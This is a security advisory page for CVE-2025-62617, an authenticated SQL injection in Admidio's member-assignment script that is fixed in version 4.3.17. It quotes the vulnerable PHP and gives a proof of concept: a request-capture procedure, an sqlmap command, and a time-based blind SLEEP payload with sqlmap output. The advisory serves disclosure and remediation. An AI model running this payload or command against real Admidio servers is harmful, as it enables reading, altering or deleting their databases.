CVE-2025-62617: Admidio Vulnerable to Authenticated SQL Injection in Member Assignment Functionality

Published Oct 22, 2025
·
Updated

Summary

An authenticated SQL injection vulnerability exists in the member assignment data retrieval functionality of Admidio. Any authenticated user with permissions to assign members to a role (such as an administrator) can exploit this vulnerability to execute arbitrary SQL commands. This can lead to a full compromise of the application's database, including reading, modifying, or deleting all data. The vulnerability is present in the latest version, 4.3.16.

Details

The vulnerability is located in the admprogram/modules/groups-roles/membersassignmentdata.php script. This script handles an AJAX request to fetch a list of users for role assignment. The filterroluuid GET parameter is not properly sanitized before being used in a raw SQL query.

File: admprogram/modules/groups-roles/membersassignmentdata.php php // ... // The parameter is retrieved from the GET request without sufficient sanitization for SQL context. $getFilterRoleUuid = admFuncVariableIsValid($GET, 'filterroluuid', 'string'); $getMembersShowAll = admFuncVariableIsValid($GET, 'memshowall', 'bool', array('defaultValue' => false));

// ... $filterRoleCondition = ''; if ($getMembersShowAll) { $getFilterRoleUuid = 0; } else { // show only members of current organization if ($getFilterRoleUuid !== '') { // VULNERABLE CODE: $getFilterRoleUuid is directly concatenated into the query string. $filterRoleCondition = ' AND roluuid = \''.$getFilterRoleUuid . '\''; } }

// ... // The vulnerable $filterRoleCondition is then used inside a subselect. $sqlSubSelect = '(SELECT COUNT() AS countthis FROM '.TBLMEMBERS.' INNER JOIN '.TBLROLES.' ON rolid = memrolid INNER JOIN '.TBLCATEGORIES.' ON catid = rolcatid WHERE memusrid = usrid AND membegin <= \''.DATENOW.'\' AND memend > \''.DATENOW.'\' '.$filterRoleCondition.' AND rolvalid = true AND catnameintern <> \'EVENTS\' AND catorgid = '.$gCurrentOrgId.')'; // ...

As shown above, the value of $getFilterRoleUuid is directly concatenated into the $filterRoleCondition variable, which is then embedded within a larger SQL query ($sqlSubSelect). This allows an attacker to break out of the string literal and inject arbitrary SQL commands.

PoC (Proof of Concept)

Prerequisites: 1. A running instance of Admidio (tested on version 4.3.16). 2. An authenticated user session with permissions to assign members to a role (e.g., the default 'admin' user).

Execution: The vulnerability can be triggered by manipulating the filterroluuid parameter in the request to /admprogram/modules/groups-roles/membersassignmentdata.php. Due to the large number of parameters, the easiest way to reproduce this is by capturing a legitimate request and replaying it with sqlmap.

1. Log in to Admidio as an administrator. 2. Navigate to Groups / Roles. 3. Click the "Assign members" icon for any existing role. 4. Using a web proxy like Burp Suite, intercept the GET request made to /admprogram/modules/groups-roles/membersassignmentdata.php. 5. Save the entire raw request to a text file (e.g., admidiorequest.txt). 6. Run the following sqlmap command to confirm the time-based blind SQL injection:

bash sqlmap -r /path/to/admidiorequest.txt -p filterroluuid --technique=T --dbms=mysql --current-db

Result: sqlmap will successfully identify and exploit the time-based blind SQL injection vulnerability.

--- Parameter: filterroluuid (GET) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: roleuuid=...&filterroluuid=' AND (SELECT 3332 FROM (SELECT(SLEEP(5)))vqnl) AND 'ENdG'='ENdG&... --- [INFO] the back-end DBMS is MySQL back-end DBMS: MySQL >= 5.0.12 [INFO] fetching current database [INFO] retrieved: admidio current database: 'admidio' This confirms that an attacker can execute arbitrary SQL queries and extract information from the database.

Other sources

Admidio is an open-source user management solution. Prior to version 4.3.17, an authenticated SQL injection vulnerability exists in the member assignment data retrieval functionality of Admidio. Any authenticated user with permissions to assign members to a role (such as an administrator) can exploit this vulnerability to execute arbitrary SQL commands. This can lead to a full compromise of the application's database, including reading, modifying, or deleting all data. This issue has been patched in version 4.3.17.

MITRE

Affected Software

2 affected componentsFixes available
composer/admidio/admidio<=4.3.16
4.3.17
Admidio Admidio<4.3.17

Event History

Oct 22, 2025
Advisory Published
via GitHub·04:46 PM
Data Sourced
via GitHub·04:46 PM
DescriptionSeverityWeaknessAffected Software
CVE Published
via MITRE·09:19 PM
Data Sourced
via MITRE·09:19 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·10:15 PM
RemedyDescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2025-62617?

CVE-2025-62617 is classified as a high severity SQL injection vulnerability.

2

How does CVE-2025-62617 impact Admidio users?

CVE-2025-62617 allows authenticated users with the appropriate permissions to execute arbitrary SQL commands.

3

Who is affected by CVE-2025-62617?

CVE-2025-62617 affects all users of Admidio versions up to 4.3.16 with member assignment role permissions.

4

How do I fix CVE-2025-62617?

To fix CVE-2025-62617, upgrade Admidio to version 4.3.17 or later.

5

What type of vulnerability is CVE-2025-62617?

CVE-2025-62617 is an authenticated SQL injection vulnerability.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203